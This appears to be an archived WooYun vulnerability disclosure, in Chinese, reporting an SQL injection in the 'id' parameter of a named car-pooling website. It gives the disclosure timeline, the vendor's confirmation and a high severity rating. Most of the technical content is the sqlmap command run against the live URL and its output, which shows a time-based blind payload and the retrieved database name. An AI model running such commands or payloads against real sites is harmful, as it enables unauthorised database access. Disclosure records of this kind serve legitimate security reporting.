乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-12-21: 细节已通知厂商并且等待厂商处理中 2015-12-21: 厂商已经确认,细节仅向厂商公开 2015-12-31: 细节向核心白帽子及相关领域专家公开 2016-01-10: 细节向普通白帽子公开 2016-01-20: 细节向实习白帽子公开 2016-02-01: 细节向公众公开
sql注入
http://www.hahapinche.com/News/news_detail?id=660id参数未过滤
Microsoft Windows [版本 6.1.7601]版权所有 (c) 2009 Microsoft Corporation。保留所有权利。C:\Users\Administrator>sqlmap.py -u "http://www.hahapinche.com/News/news_detail?id=660" --dbs sqlmap/0.9 - automatic SQL injection and database takeover tool http://sqlmap.sourceforge.net[*] starting at: 13:19:47[13:19:47] [INFO] using 'F:\tools\sqlmap\output\www.hahapinche.com\session' as session file[13:19:47] [INFO] resuming injection data from session file[13:19:47] [INFO] resuming back-end DBMS 'mysql 5.0.11' from session file[13:19:47] [INFO] testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: id=660 AND SLEEP(5)---[13:19:47] [INFO] the back-end DBMS is MySQLback-end DBMS: MySQL 5.0.11[13:19:47] [INFO] fetching database names[13:19:47] [INFO] fetching number of databases[13:19:47] [INFO] read from file 'F:\tools\sqlmap\output\www.hahapinche.com\session':[13:19:47] [INFO] read from file 'F:\tools\sqlmap\output\www.hahapinche.com\session':[13:19:47] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..[13:19:49] [ERROR] unable to retrieve the number of databases[13:19:49] [INFO] falling back to current database[13:19:49] [INFO] fetching current database[13:19:49] [INFO] read from file 'F:\tools\sqlmap\output\www.hahapinche.com\session': haha_dbavailable databases [1]:[*] haha_db[13:19:49] [INFO] Fetched data logged to text files under 'F:\tools\sqlmap\output\www.hahapinche.com'[*] shutting down at: 13:19:49
rt
过滤
危害等级:高
漏洞Rank:20
确认时间:2015-12-21 14:50
谢谢
暂无